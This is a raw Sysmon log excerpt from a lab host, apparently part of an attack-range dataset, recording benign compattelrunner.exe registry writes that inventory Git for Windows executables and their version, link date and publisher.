13241300x800000000000000036627Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-pull.exe|5c528221eaacce43\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-pull.exe 13241300x800000000000000036626Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-prune.exe|8dd360f83decd04c\BinProductVersion2.33.0.2 13241300x800000000000000036625Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-prune.exe|8dd360f83decd04c\LinkDate08/24/2021 10:09:53 13241300x800000000000000036624Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-prune.exe|8dd360f83decd04c\Publisherthe git development community 13241300x800000000000000036623Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-prune.exe|8dd360f83decd04c\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-prune.exe 13241300x800000000000000036622Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-prune-packed|7ea14beb272e20eb\BinProductVersion2.33.0.2 13241300x800000000000000036621Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-prune-packed|7ea14beb272e20eb\LinkDate08/24/2021 10:09:53 13241300x800000000000000036620Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-prune-packed|7ea14beb272e20eb\Publisherthe git development community 13241300x800000000000000036619Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-prune-packed|7ea14beb272e20eb\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-prune-packed.exe 13241300x800000000000000036618Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-patch-id.exe|280f7dfabbed9aa0\BinProductVersion2.33.0.2 13241300x800000000000000036617Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-patch-id.exe|280f7dfabbed9aa0\LinkDate08/24/2021 10:09:53 13241300x800000000000000036616Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-patch-id.exe|280f7dfabbed9aa0\Publisherthe git development community 13241300x800000000000000036615Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-patch-id.exe|280f7dfabbed9aa0\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-patch-id.exe 13241300x800000000000000036614Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-pack-refs.ex|a72849c27ec32acf\BinProductVersion2.33.0.2 13241300x800000000000000036613Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-pack-refs.ex|a72849c27ec32acf\LinkDate08/24/2021 10:09:53 13241300x800000000000000036612Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-pack-refs.ex|a72849c27ec32acf\Publisherthe git development community 13241300x800000000000000036611Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-pack-refs.ex|a72849c27ec32acf\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-pack-refs.exe 13241300x800000000000000036610Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-pack-redunda|3bea7e0b47bae351\BinProductVersion2.33.0.2 13241300x800000000000000036609Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-pack-redunda|3bea7e0b47bae351\LinkDate08/24/2021 10:09:53 13241300x800000000000000036608Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-pack-redunda|3bea7e0b47bae351\Publisherthe git development community 13241300x800000000000000036607Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-pack-redunda|3bea7e0b47bae351\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-pack-redundant.exe 13241300x800000000000000036606Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-pack-objects|b6ba6e682d1328e9\BinProductVersion2.33.0.2 13241300x800000000000000036605Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-pack-objects|b6ba6e682d1328e9\LinkDate08/24/2021 10:09:53 13241300x800000000000000036604Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-pack-objects|b6ba6e682d1328e9\Publisherthe git development community 13241300x800000000000000036603Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-pack-objects|b6ba6e682d1328e9\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-pack-objects.exe 13241300x800000000000000036602Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-notes.exe|cadb47a79807ad03\BinProductVersion2.33.0.2 13241300x800000000000000036601Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-notes.exe|cadb47a79807ad03\LinkDate08/24/2021 10:09:53 13241300x800000000000000036600Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-notes.exe|cadb47a79807ad03\Publisherthe git development community 13241300x800000000000000036599Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-notes.exe|cadb47a79807ad03\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-notes.exe 13241300x800000000000000036598Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-name-rev.exe|7b3ad17acd0ba124\BinProductVersion2.33.0.2 13241300x800000000000000036597Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-name-rev.exe|7b3ad17acd0ba124\LinkDate08/24/2021 10:09:53 13241300x800000000000000036596Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-name-rev.exe|7b3ad17acd0ba124\Publisherthe git development community 13241300x800000000000000036595Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-name-rev.exe|7b3ad17acd0ba124\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-name-rev.exe 13241300x800000000000000036594Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-mv.exe|e80e8664561f73b6\BinProductVersion2.33.0.2 13241300x800000000000000036593Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-mv.exe|e80e8664561f73b6\LinkDate08/24/2021 10:09:53 13241300x800000000000000036592Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-mv.exe|e80e8664561f73b6\Publisherthe git development community 13241300x800000000000000036591Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-mv.exe|e80e8664561f73b6\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-mv.exe 13241300x800000000000000036590Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-multi-pack-i|b0da66b3239cc0aa\BinProductVersion2.33.0.2 13241300x800000000000000036589Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-multi-pack-i|b0da66b3239cc0aa\LinkDate08/24/2021 10:09:53 13241300x800000000000000036588Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-multi-pack-i|b0da66b3239cc0aa\Publisherthe git development community 13241300x800000000000000036587Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-multi-pack-i|b0da66b3239cc0aa\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-multi-pack-index.exe 13241300x800000000000000036586Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-mktree.exe|9fb15060439194e9\BinProductVersion2.33.0.2 13241300x800000000000000036585Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-mktree.exe|9fb15060439194e9\LinkDate08/24/2021 10:09:53 13241300x800000000000000036584Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-mktree.exe|9fb15060439194e9\Publisherthe git development community 13241300x800000000000000036583Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-mktree.exe|9fb15060439194e9\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-mktree.exe 13241300x800000000000000036582Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-mktag.exe|f9ff9b0e12a2d151\BinProductVersion2.33.0.2 13241300x800000000000000036581Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-mktag.exe|f9ff9b0e12a2d151\LinkDate08/24/2021 10:09:53 13241300x800000000000000036580Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-mktag.exe|f9ff9b0e12a2d151\Publisherthe git development community 13241300x800000000000000036579Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-mktag.exe|f9ff9b0e12a2d151\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-mktag.exe 13241300x800000000000000036578Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge.exe|882533b7baebdf26\BinProductVersion2.33.0.2 13241300x800000000000000036577Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge.exe|882533b7baebdf26\LinkDate08/24/2021 10:09:53 13241300x800000000000000036576Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge.exe|882533b7baebdf26\Publisherthe git development community 13241300x800000000000000036575Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge.exe|882533b7baebdf26\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-merge.exe 13241300x800000000000000036574Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-tree.e|2091c16f572d3b68\BinProductVersion2.33.0.2 13241300x800000000000000036573Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-tree.e|2091c16f572d3b68\LinkDate08/24/2021 10:09:53 13241300x800000000000000036572Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-tree.e|2091c16f572d3b68\Publisherthe git development community 13241300x800000000000000036571Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-tree.e|2091c16f572d3b68\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-merge-tree.exe 13241300x800000000000000036570Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-subtre|334ec69ba0fedd6f\BinProductVersion2.33.0.2 13241300x800000000000000036569Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-subtre|334ec69ba0fedd6f\LinkDate08/24/2021 10:09:53 13241300x800000000000000036568Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-subtre|334ec69ba0fedd6f\Publisherthe git development community 13241300x800000000000000036567Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-subtre|334ec69ba0fedd6f\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-merge-subtree.exe 13241300x800000000000000036566Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-recurs|5342cf57bbb67b35\BinProductVersion2.33.0.2 13241300x800000000000000036565Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-recurs|5342cf57bbb67b35\LinkDate08/24/2021 10:09:53 13241300x800000000000000036564Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-recurs|5342cf57bbb67b35\Publisherthe git development community 13241300x800000000000000036563Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-recurs|5342cf57bbb67b35\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-merge-recursive.exe 13241300x800000000000000036562Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-ours.e|8a9c9030af4fea1\BinProductVersion2.33.0.2 13241300x800000000000000036561Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-ours.e|8a9c9030af4fea1\LinkDate08/24/2021 10:09:53 13241300x800000000000000036560Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-ours.e|8a9c9030af4fea1\Publisherthe git development community 13241300x800000000000000036559Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-ours.e|8a9c9030af4fea1\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-merge-ours.exe 13241300x800000000000000036558Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-index.|21be940b8e49773d\BinProductVersion2.33.0.2 13241300x800000000000000036557Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-index.|21be940b8e49773d\LinkDate08/24/2021 10:09:53 13241300x800000000000000036556Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-index.|21be940b8e49773d\Publisherthe git development community 